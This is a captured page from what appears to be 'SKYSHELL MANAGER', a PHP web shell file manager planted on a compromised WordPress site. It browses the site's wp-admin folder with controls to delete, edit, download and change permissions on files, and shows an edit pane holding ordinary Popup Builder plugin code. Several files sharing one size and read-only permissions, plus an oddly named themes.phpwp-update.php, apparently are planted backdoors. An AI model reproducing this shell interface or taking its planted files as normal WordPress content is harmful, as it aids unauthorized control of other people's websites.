📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: SgPopupGetData.php
<?php class SgPopupGetData { public static function getDefaultValues() { $settingsParams = array( 'tables-delete-status' => 'on', 'plugin_users_role' => array(), 'sg-popup-time-zone' => 'Pacific/Midway' ); $usersRoleList = self::getAllUserRoles(); $defaultParams = array( 'settingsParams' => $settingsParams, 'usersRoleList' => $usersRoleList ); return $defaultParams; } public static function getValue($optionName,$optionType) { $optionType = strtolower($optionType); $optionFunctionName = 'get'.ucfirst($optionType).'Options'; $options = self::$optionFunctionName(); if(isset($options[$optionName])) { return $options[$optionName]; } $deafaultValues = self::getDefaultValues(); $deafultSettings = $deafaultValues[$optionType.'Params']; return $deafultSettings[$optionName]; } public static function getSettingsOptions() { global $wpdb; $st = $wpdb->prepare("SELECT options FROM ". $wpdb->prefix ."sg_popup_settings WHERE id = %d",1); $options = $wpdb->get_row($st, ARRAY_A); /*Option can be null when ex settings table does now exists for old users*/ if(is_null($options)) { return array(); } $options = json_decode($options['options'], true); return $options; } public static function getPopupTimeZone() { $options = self::getSettingsOptions(); $popupImeZone = @$options['sg-popup-time-zone']; if(!isset($popupImeZone) || empty($popupImeZone)) { $popupImeZone = 'Asia/Yerevan'; } return $popupImeZone; } public static function getPostsAllCategories() { $cats = get_categories( array( "hide_empty" => 0, "type" => "post", "orderby" => "name", "order" => "ASC" ) ); $catsParams = array(); foreach ($cats as $cat) { $id = $cat->term_id; $name = $cat->name; $catsParams[$id] = $name; } return $catsParams; } public static function sgSetChecked($value) { if($value == '') { return ''; } return 'checked'; } public static function getAllUserRoles() { $rulesArray = array(); if(!function_exists('get_editable_roles')){ return $rulesArray; } $roles = get_editable_roles(); foreach ($roles as $role_name => $role_info) { if($role_name == 'administrator') { continue; } $rulesArray["sgpb_".$role_name] = $role_name; } return $rulesArray; } public static function getCurrentUserRole() { $role = 'administrator'; if(is_multisite()) { $getUsersObj = get_users( array( 'blog_id' => get_current_blog_id() ) ); if(is_array($getUsersObj)) { foreach ($getUsersObj as $key => $userData) { if($userData->ID == get_current_user_id()) { $roles = $userData->roles; if(is_array($roles) && !empty($roles)) { $role = $roles[0]; } } } } return "sgpb_".$role; } global $current_user, $wpdb; $userRoleKey = $wpdb->prefix . 'capabilities'; $usersRoles = array_keys($current_user->$userRoleKey); if(is_array($usersRoles) && !empty($usersRoles)) { $role = $usersRoles[0]; } return "sgpb_".$role; } public static function getAllSubscriptionForms() { global $wpdb; $st = "SELECT title FROM ". $wpdb->prefix ."sg_popup WHERE type='subscription'"; $subsriptionForms = $wpdb->get_results($st, ARRAY_A); $subsFormList = array(); foreach ($subsriptionForms as $subsriptionForm) { $value = $subsriptionForm['title']; $subsFormList[$value] = $value; } return $subsFormList; } public static function isActivePopup($id) { $obj = SGPopup::findById($id); if(empty($obj)) { return ''; } $options = $obj->getOptions(); $options = json_decode($options, true); if(!isset($options['isActiveStatus']) || $options['isActiveStatus'] == 'on') { return "checked"; } return ""; } public static function getAllCustomPosts() { $args = array( 'public' => true, '_builtin' => false ); $allCustomPosts = get_post_types($args); return $allCustomPosts; } public static function getPageUrl() { $args = array( 'sort_order' => 'asc', 'sort_column' => 'post_title', 'hierarchical' => 0, 'exclude' => '', 'include' => '', 'meta_key' => '', 'meta_value' => '', 'authors' => '', 'child_of' => 0, 'parent' => -1, 'exclude_tree' => '', 'number' => 2, 'offset' => 0, 'post_type' => 'page', 'post_status' => 'publish' ); $pages = get_pages($args); if(empty($pages[0])) { return ""; } $pageId = $pages[0]->ID; $pageUrl = get_permalink($pageId); return $pageUrl; } }
Save